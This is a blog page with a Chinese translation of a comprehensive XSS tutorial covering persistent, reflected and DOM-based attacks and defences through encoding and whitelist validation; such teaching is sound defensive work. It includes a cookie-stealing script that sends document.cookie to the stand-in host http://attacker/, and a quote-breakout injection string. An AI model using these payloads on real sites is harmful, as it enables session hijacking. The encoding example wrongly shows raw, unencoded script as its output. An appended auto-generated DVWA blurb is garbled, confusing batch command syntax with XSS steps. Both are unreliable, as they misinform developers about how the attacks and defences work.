XSS教程

引言

本文译自《Excess Xss: A comprehensive tutorial on cross-site scripting》,由于译者水平有限,翻译不当之处,敬请批评指正。

一、概览

 

1、什么是XSS

跨站脚本(XSS)是代码注入攻击的一种。通过这种方式,攻击者可以在其他用户的浏览器中执行恶意的JavaScript代码。

攻击者并不直接锁定受害者,而是利用受害者经常访问的网站所存在的漏洞,为他传播恶意的JavaScript脚本。对于受害者的浏览器来说,由于恶意的JavaScript脚本是由被访问网站提供的,所以认为其是合法内容。而被访问的网站也无意识的成为攻击者的帮凶。

 

2、恶意的JavaScript脚本是如何注入的

攻击者要想在受害者浏览器上执行恶意JavaScript脚本,唯一的方法就是:将恶意脚本注入到用户从网站上下载的某一个页面中。如果网站页面中直接引入用户的输入,那就很有可能发生注入。因为攻击者可以插入一个特殊的字符串,该字符串会被浏览器解析为代码并执行。

在下面的例子中,一个简单的服务端脚本用来显示网站上最新的评论,如下所示:

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

上面的脚本假定评论只是由文本构成的。然而,如果用户的输入被直接引入的话,攻击者就可以提交"<script>…</script>"这种评论。任何用户在访问这个页面的时候,就会收到如下的响应:

<html>
Latest comment:
<script>...</script>
</html>

当用户载入上述页面后,浏览器就会执行script标签内的脚本。这样,攻击者就成功实现了对受害者的攻击。

 

2.1、什么是恶意的JavaScript脚本

首先,能够在受害者浏览器上执行JavaScript脚本并不见得特别有害。因为JavaScript是在一个严格受限的环境中运行的(对用户文件和操作系统有严格的访问限制)。

实际上,你可以马上打开浏览器中的JavaScript控制台验证一下,执行任何JavaScript脚本都不大可能对你的电脑造成危害。

然而,如果你考虑下面这几点,你就会对恶意脚本的危害有一个更清晰的认识:

  • JavaScript可以访问一些用户的敏感信息,比如cookies。
  • JavaScript可以通过XMLHttpRequest和其他的一些机制向任意终端发送包含任意内容的HTTP请求。
  • JavaScript可以通过DOM操作方法任意修改当前页面的HTML内容。

把上面的这几点结合起来,就可以造成很严重的安全攻击。我们将在下一节阐述这个问题。

 

2.2、恶意JavaScript脚本导致的后果

拥有在其他用户的浏览器中执行任意JavaScript脚本的能力,使得攻击者可以实行如下几种类型的攻击:

  • 盗取Cookie:攻击者可以通过document.cookie获取与网站相关的Cookie信息。并且可以把Cookie信息发回攻击者自己的服务器,然后分析出敏感信息,比如session id。
  • 记录按键信息:攻击者可以通过addEventListener注册键盘侦听事件,然后把用户所有的按键信息发回他自己的服务器。这就有可能会记录下密码、信用卡号等敏感信息。
  • 钓鱼:攻击者可以通过DOM操作在页面中插入一个伪造的登陆表单,并把form元素的action属性指向他自己的服务器,诱使用户提交敏感信息。

尽管这些攻击各不相同,但它们都有一个相似点:由于是在网站提供的页面中注入代码,所以恶意代码是在网站的上下文中执行的。因此,这些恶意脚本可以像网站上的其他脚本一样:访问该网站受害者的数据(比如Cookies),而在URL地址栏上显示的地址仍然是该网站的地址。也就是说,恶意代码就是网站提供的合法内容,允许它做任何实际网站可以做的事情。

综上所述,如果攻击者可以利用你的网站在其他用户浏览器上执行任意JavaScript脚本,你的网站和用户的安全性就会受到威胁。

为了强调这一点,本教程中的一些例子中去掉了恶意脚本的具体细节,只用<script>…</script>替代。这表示,不管实际执行脚本的具体代码是什么样的,只要存在脚本注入就会导致安全问题。

 

二、XSS攻击

 

1、XSS攻击中的角色

在详细解释XSS攻击的工作机制之前,我们需要定义一次XSS攻击中所涉及的角色。通常来说,一次XSS攻击涉及到三个角色:网站、受害者和攻击者。

  • 网站:为访问它的用户提供HTML页面。在我们的例子中,它的地址是:http://website/
  • 网站数据库:一种用于保存网站页面中引用到的一些用户输入的数据库。
  • 受害者:网站的一个普通用户。他通过使用浏览器请求网站的页面。
  • 攻击者:网站的一个恶意用户。他想要利用网站的一个XSS漏洞,对受害者发起一次攻击。
  • 攻击者服务器:一个由攻击者控制的网站服务器,用于获取受害者的敏感信息。在例子中,它的地址是:http://attacker/

 

2、一个攻击场景示例

在本示例中,我们假定攻击者利用网站XSS漏洞的最终目的是盗取受害者的Cookies。可以通过让受害者浏览器解析如下HTML代码实现:

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

这个脚本使用户的浏览器跳转到攻击者服务器,并产生一个HTTP请求。URL中包含了受害者的cookies。当请求到达攻击者服务器后,攻击者就可以获取该cookies。之后,攻击者就可以利用该cookies冒充受害者以及发起更深入的攻击。

从现在开始,我们将上述的HTML代码统一称为恶意字符串或恶意脚本。我们必须注意到,恶意字符串只有最终在受害者浏览器上解析为HTML时才有危害。这种情况只有在网站中存在XSS漏洞的时候才会发生。

 

2.1、攻击原理

下图展示了示例中的的攻击原理:


  1. 攻击者利用网站的一个表单,将恶意字符串插入到网站数据库中。
  2. 受害者向网站请求页面。
  3. 网站在响应中引入恶意字符串,并把它发给受害者。
  4. 受害者浏览器执行响应中的恶意脚本,并把受害者的cookies发给攻击者服务器。

 

3、XSS分类

XSS攻击的目的是:在受害者浏览器上执行恶意JavaScript脚本。本质上有几种不同的方式实现这一目的。XSS攻击通常可以划分为三种类型:

  • 持久型XSS:恶意字符串来自于网站数据库。
  • 反射型XSS:恶意字符串来自于受害者的请求。
  • 基于DOM的XSS:XSS漏洞存在于客户端而不在服务端。

上面的例子解释了一个持久型XSS攻击。现在我们将解释其他两种XSS攻击:反射型XSS和基于DOM的XSS。

 

3.1、反射型XSS

在反射型XSS攻击中,恶意字符串作为受害者请求的一部分发给网站。网站在响应中引入该恶意字符串,并返回给用户。下图展示了这种场景:


  1. 攻击者构造了一个包含恶意字符串的URL并把它发给受害者。
  2. 攻击者诱使受害者发起这个URL请求。
  3. 网站在响应中引入这个恶意字符串。
  4. 受害者浏览器执行响应中的恶意脚本,将受害者的cookies信息发给攻击者服务器。

 

3.1.1、反射型XSS是如何奏效的

首先,由于要求受害者自己发送一个包含恶意字符串的请求,所以反射型XSS看起来是没什么危害的。因为没有人想要攻击自己,所以这种攻击方式看起来并不实用。

但在实际上,至少有两种常见的方法可以让受害者发起一次针对自己的反射型XSS攻击。

  • 如果用户是具体的个人,攻击者可以发送恶意URL给受害者(如:通过email或者即时消息)然后诱使受害者访问该URL。
  • 如果用户是一个群体,攻击者可以发布一个恶意的URL链接(如:在他的网站上或社交网络上)然后等待访问者点击该URL。

这两种方法很类似,而且如果配合网址缩短服务,都能发挥更好的效果。

 

3.2、基于DOM的XSS

基于DOM的XSS是持久型和反射型XSS的变种。在基于DOM的XSS攻击中,恶意字符串直到网站合法JavaScript脚本被执行的时候,才开始被解析。下图展示了基于DOM的XSS攻击场景:


  1. 攻击者构造一个包含恶意字符串的URL并发给受害者。
  2. 攻击者诱使受害者发起这个URL请求。
  3. 网站收到请求,但并没有在响应中引入该恶意字符串。
  4. 受害者浏览器执行响应中的合法脚本,导致恶意脚本被插入到页面中。
  5. 受害者浏览器执行插入到页面中的恶意脚本,将受害者的cookies信息发给攻击者服务器。

 

3.2.1、基于DOM的XSS的特点

在持久型和反射型XSS攻击的例子中,由服务端将恶意脚本插入到页面中,然后将其发给受害者。当受害者浏览器收到响应后,将恶意脚本当成网站的合法内容并自动执行,就像其他脚本一样。

而在基于DOM的XSS攻击的例子中,页面中并没有被插入恶意脚本。在页面载入后,只有合法的脚本被执行。问题在于合法脚本直接利用用户输入生成HTML代码并插入到页面中。由于恶意字符串通过innerHTML插入到页面中,所以它被解析为HTML代码,从而导致恶意脚本被执行。

这些区别很细微但却很重要:

  • 传统的XSS中,恶意JavaScript脚本作为网站发回的HTML代码的一部分,在页面加载完后执行。
  • 基于DOM的XSS中,恶意JavaScript脚本在页面加载完成后的某一个时刻执行。它是由页面的合法JavaScript脚本不安全的使用用户输入导致的。

 

3.2.2、为什么基于DOM的XSS很麻烦

在之前的例子中,服务器可以生成任何HTML代码,不需要JavaScript参与。如果服务端代码没有漏洞,那么网站就可以免受XSS攻击。

然而,随着Web应用越来越高级,大量的HTML代码是由JavaScript在客户端生成,而不是在服务端。要实现不刷新整个页面就能更新内容,只能用JavaScript实现。值得注意的是,通过AJAX请求更新页面就属于这种情况。

这也意味着XSS漏洞不仅可以出现在网站的服务端,也可以出现在网站客户端的JavaScript代码中。因此,尽管确保服务端代码完全安全,客户端代码仍然可能在页面加载完成后,因在更新DOM时不安全引入用户输入,从而导致XSS攻击。

 

3.2.3、基于DOM的XSS对服务器不可见

有一种特殊的基于DOM的XSS案例,恶意字符串被包含在URL的hash片段中(在"#"号之后)。这种情况下,恶意字符串不会发给网站服务器,所以网站通过服务端代码无法访问它。而客户端代码则可以访问它。如果处理不当就可能产生XSS漏洞。

这种状况并不局限于hash段,还包括一些HTML5的新特性,比如LocalStorage和IndexedDB。

 

三、XSS防御

 

1、预防XSS的方法

XSS攻击实际上是一种代码注入:用户的输入被错误的解析为恶意代码。为了防止这种类型的代码注入,就需要对用户输入进行安全处理。对于网站开发者来说,有两种不同的方法实现输入安全处理。

  • 编码:通过转义用户输入,使浏览器将其解析为数据,而不是代码。
  • 校验:通过过滤用户输入,使浏览器将其解析为不包含恶意命令的代码。

尽管这两种方法差别很大,但它们还是有一些共同的特性:

  • 上下文:需要根据页面中用户输入被插入的上下文进行差别化安全处理。
  • 入境/出境:可以在网站接收输入的时候(入境)进行安全处理,也可以在输入插入到页面之前(出境)进行安全处理。
  • 客户端/服务端:输入安全处理可以在客户端或服务端进行。在某些场景下两端都需要进行输入安全处理。

在详细解释码和校验如何工作之前,我们先解释一下这几点。

 

2、输入处理上下文

页面中有很多上下文可能会插入用户数据。这就需要遵循具体的规则,确保用户输入不会跳出它的上下文而被解析成恶意代码。下面是一些最普通的上下文:

上下文代码示例
HTML元素内容
<div>userInput</div>
HTML属性值
<input value="userInput">
URL查询值
http://example.com/?parameter=userInput
CSS值
color: userInput
JavaScript值
var name = "userInput";

 

2.1、为什么上下文很麻烦

在所有列举的上下文中,如果用户输入在插入前没有被编码或者被校验,就会产生一个XSS漏洞。攻击者只需要简单的在上下文中插入结束分隔符,然后在结束分隔符后插入恶意代码,就可以实现注入。

例如,如果一个网站直接将用户输入插入到一个HTML元素的属性中,攻击者就可以按照如下方式注入恶意脚本:

应用程序代码
<input value="userInput">
恶意字符串
"><script>...</script><input value="
结果代码
<input value=""><script>...</script><input value="">


这个可以通过简单的移除用户输入中的引号来预防,不过只适用于这个上下文。如果同样的输入被插入到其他上下文,结束分隔符可能就不一样了,注入还是有可能发生。基于这个原因,输入安全处理需要根据用户输入所插入的上下文进行相应的裁剪。

 

3、入境/处境输入处理

直觉上来说,在网站接收到用户输入的时候,对所有用户输入进行编码和校验似乎可以预防XSS攻击。通过这种方式,任何的恶意字符串在引入到页面的时候就应该失效了。并且由脚本生成的HTML片段也不必对它们进行安全处理。

但是,问题在于用户输入可以被插入到页面的多个上下文中。没有一个很容易的办法可以确定用户输入什么时候到来,最终会插入到哪个上下文中。而且同样的输入经常要插入到不同的上下文中。因此,依赖入境输入处理来预防XSS是一个很脆弱的解决方案,也比较容易出错。

比较而言,出境输入处理应该是你防御XSS攻击的主要路线。因为它可以考虑到用户输入被插入的具体上下文。而入境校验仍然可以成为第二道防线,我们将在后面讨论。

 

3.1、在哪里执行输入安全处理

在大多数现代web应用中,服务端代码和客户端代码都会处理用户输入。为了预防所有类型的XSS,服务端代码和客户端代码中都要进行输入安全处理。

为了预防传统的XSS攻击,服务端代码必须进行输入安全处理。可以通过所有被服务器支持的语言实现。

为了预防基于DOM的XSS攻击,客户端必须进行输入安全处理。可以通过JavaScript实现。

我们已经解释了为什么上下文很麻烦,为什么入境和出境输入处理的区别很重要,为什么服务端代码和客户端代码都要进行输入安全处理。接着,我们将继续解释这两种输入安全处理(编码和校验)具体是如何实现的。

 

4、编码

编码通过对用户输入进行转码,使得浏览器将其解析为数据而不是代码。在web开发中最常见的就是HTML编码。它把类似于"<"和">"的字符编码成"&lt;"和"&gt;"。

下面的伪代码展示了在服务端代码中,用户输入是如何被HTML编码然后插入到页面中的:

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

如果用户输入的是"<script>…</script>",最终生成的HTML片段如下:

<html>
Latest comment:
<script>...</script>
</html>

由于所有具有特殊意义的字符都被转码了,浏览器就不会把用户输入解析为HTML代码。

 

4.1、在客户端和服务端代码中进行编码

在客户端编码时,使用的语言总是JavaScript。JavaScript有内建的方法可以为不同的上下文进行编码。

在服务端编码时,你得依赖你的服务端语言或框架所支持的方法。由于服务端语言和框架种类繁多,本教程不会涉及任何一种具体的服务端语言或框架中的编码细节。然而,熟悉客户端JavaScript语言中的编码方法对于写服务端代码也是很有帮助的。

 

4.2、在客户端编码

在客户端使用JavaScript对用户输入进行编码时,有几种内建的方法和属性可以针对不同的上下文对所有数据自动编码:

上下文方法/属性
HTML元素内容
node.textContent = userInput
HTML属性值
element.setAttribute(attribute, userInput)
or
element[attribute] = userInput
URL查询值
window.encodeURIComponent(userInput)
CSS值
element.style.property = userInput


上面提到的最后一个上下文(JavaScript值)并没有包含在上表中。这是因为JavaScript没有提供内建的编码数据的方法。

 

4.3、编码的限制

即使通过编码也有可能输入恶意字符串到某些上下文中。一个显著的例子就是用户输入作为URL地址的情况。示例如下:

document.querySelector('a').href = userInput

尽管给a标签的href属性赋值时,用户输入会自动编码,使其变为一个普通的属性值,但是这并不能阻止攻击者插入以"javascript:"开头的URL。当点击该链接的时候,无论嵌入URL中的JavaScript是什么内容,都会被执行。

当你想要用户定制部分页面代码的时候,编码也不是一个合适的解决方案。比如,在用户的档案页面中,用户可以定制HTML。如果这些定制的HTML代码被编码了,那么档案页面就只能包含纯文本了。

在这种情况下,就需要以校验作为补充,这是我们接下来要讨论的。

 

5、校验

校验通过过滤用户输入确保所有恶意部分都被移除,而不需要移除所有代码。在web开发中,最常见的一种校验就是:允许输入一些合法的HTML元素(如<em>和<strong>),不允许输入一些非法的HTML元素(如<script>)。

校验主要有两种不同的实现方式:

  • 分类策略:用户输入被分为黑名单或白名单。
  • 校验输出:标记为恶意的用户输入可以被拒绝或净化。

 

5.1、分类策略

5.1.1、黑名单

通过制定一个不允许在用户输入中出现的名单来实现校验功能,看起来很合理。如果一个字符串与该名单匹配,就是非法字符串。比如,用户可以使用除了javascript:之外的任何协议提交自定义的URL地址。这种分类策略就叫黑名单。

但是,黑名单有两个主要的缺点:

  • 复杂:精确描述所有可能的恶意字符串集合是一个很复杂的工作。上面的例子中,如果只是通过简单的搜索"javascript"字段来判断的话,也是有问题的。因为这会忽略"Javascript:"(首字母大写)和"&#106;avascript:"(首字母被编码)的情况。
  • 不稳定:即使开发出一个完美的黑名单列表,也有可能因为浏览器后续新增的特性允许恶意使用而失败。比如,在浏览器引入HTML5的onmousewheel属性之前开发的HTML校验黑名单,就没有办法阻止攻击者利用这个属性发起XSS攻击。在web开发中,这个缺点很明显,因为很多技术都在不断的更新。

由于这些缺点,作为分类策略的一种,黑名单并不实用。相对来说,白名单是一个更安全的方法,我们将在后续讨论。

 

5.1.2、白名单

白名单和黑名单相反,白名单通过制定一个允许在用户输入中出现的名单来实现校验功能。如果用户输入不在该名单中,就认为是非法输入。

对比上面黑名单的例子,白名单的例子是这样的:用户只能输入包含http:或https:协议的URL地址。如果URL中包含"javascript:"、"Javascript:"或者"&#106;avascript:",都会判定为非法输入。

与黑名单相比,白名单有两个主要的优点:

  • 简单:精确的描述安全字符串集合比描述非安全字符串集合要简单的多。比如,上面提到的只允许URL地址使用http:或https:协议的白名单就很简单。这个白名单对用户来说在多数情况下都是足够的。
  • 持久:不像黑名单那样,当浏览器新增特性时,白名单通常不会失效。比如,一个HTML校验白名单只允许HTML元素的title属性,那么如果后续引入HTML5的onmousewheel属性,这个白名单还是安全的。

 

5.2、校验输出

当输入被判定为非法的时候,有两种处理动作:

  • 拒绝:输入简单的被拒绝,以防止它被用在网站的其他地方。
  • 净化:移除用户输入中所有非法的部分,保留合法部分。

这两种方法中,拒绝是最容易实现的方案,而净化则相对来说更有用。因为它允许用户输入更广范围的字符串。比如,用户提交一个信用卡号,净化规则会移除非数字字符,以防止代码注入。同时也允许用户输入带连字符的号码。

如果你打算采用净化策略,要确保净化规则不能使用黑名单策略。比如,以"Javascript:"开头的URL地址,使用白名单方法被判定为非法后,如果净化规则只是简单的移除"javascript:"字段,也会通过校验的。所以,无论什么时候,用于净化的库或框架都应该被充分测试。

 

6、要使用哪种防御技术

编码是你防御XSS的第一道防线。因为它的目的就是转换数据确保不被解析为代码。在某些情况下,编码需要有校验的配合。这种编码和校验应该在出境时处理。因为只有在输入被引入到页面的时候,你才知道要编码和校验的上下文。

作为第二道防线,你应该使用入境校验来净化或拒绝非法数据。比如使用javascript:协议的链接。虽然它不能提供完全的安全性,但是它可以在出境编码和校验出错时起到预防保护作用。

如果这两道防线使用恰当的话,你的网站就可以免受XSS攻击。

 

四、总结

 

1、XSS概览    

  • XSS是一种由不安全处理用户输入而导致的代码注入攻击。
  • XSS攻击使攻击者可以在受害者浏览器中执行恶意JavaScript代码。
  • XSS攻击对网站和用户的安全都造成危害。

2、XSS攻击

  • 有三种主要的XSS攻击类型:
    • 持久型XSS,恶意输入来源于网站数据库。
    • 反射型XSS,恶意输入来源于受害者的请求。
    • 基于DOM的XSS,漏洞存在于客户端代码中,而不在服务器端代码中。
  • 所有这些攻击都有不同的实现方法。但是,如果攻击成功的话,造成的危害都是一样的。

3、XSS防御

  • 预防XSS攻击最重要的方法就是对用户输入进行安全处理。
    • 多数情况下,无论用户输入在什么时候被引入页面,编码都可以很好预防XSS攻击。
    • 在某些情况下,需要用校验来取代编码方式或者与编码方式一起配合,才能防止XSS攻击。
    • 输入安全处理需要考虑用户输入所插入的上下文。
    • 要预防所有类型的XSS攻击,客户端和服务端代码中都要进行输入安全处理。

 

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
DVWA是一个典型的用于入门web渗透的靶场,适用于刚刚学习Kali的爱好者。它可以通过安装到Kali机器上来进行实践和验证。 关于DVWA靶场的XSS攻击和通关教程,有一些方法可以使用。其中一种方式是通过组合命令来实现。在批处理脚本中,可以使用"&"符号将多个命令组合在一起执行。这样可以顺序执行多个命令,当第一个命令执行失败时,后面的命令仍然会执行。另外,还可以使用"&&"符号来同时执行多条命令,当碰到执行出错的命令时,后面的命令将不会执行。 在DVWA靶场中,可以按照以下步骤进行XSS攻击和通关教程: 1. 执行token_part_1("ABCD", 44):这个命令是执行一个名为token_part_1的函数,并传入参数"ABCD"和44。根据具体的情况,这个函数可能是用于生成或处理令牌的。 2. 执行token_part_2("XX"):这个命令是执行一个名为token_part_2的函数,并传入参数"XX"。这个函数可能是与令牌相关的延迟执行的操作。 3. 点击按钮时执行token_part_3:当点击按钮时,执行名为token_part_3的函数。这个函数可能是用于完成XSS攻击或者完成通关教程的关键步骤。 通过上述步骤,可以在DVWA靶场中进行XSS攻击并完成通关教程。请注意,具体的步骤可能因DVWA本或具体场景而有所不同,建议根据实际情况进行操作。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [kali2021.3安装dvwa靶场](https://download.csdn.net/download/u014419722/82144505)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [DVWA靶场通关教程](https://blog.csdn.net/CYwxh0125/article/details/122460851)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值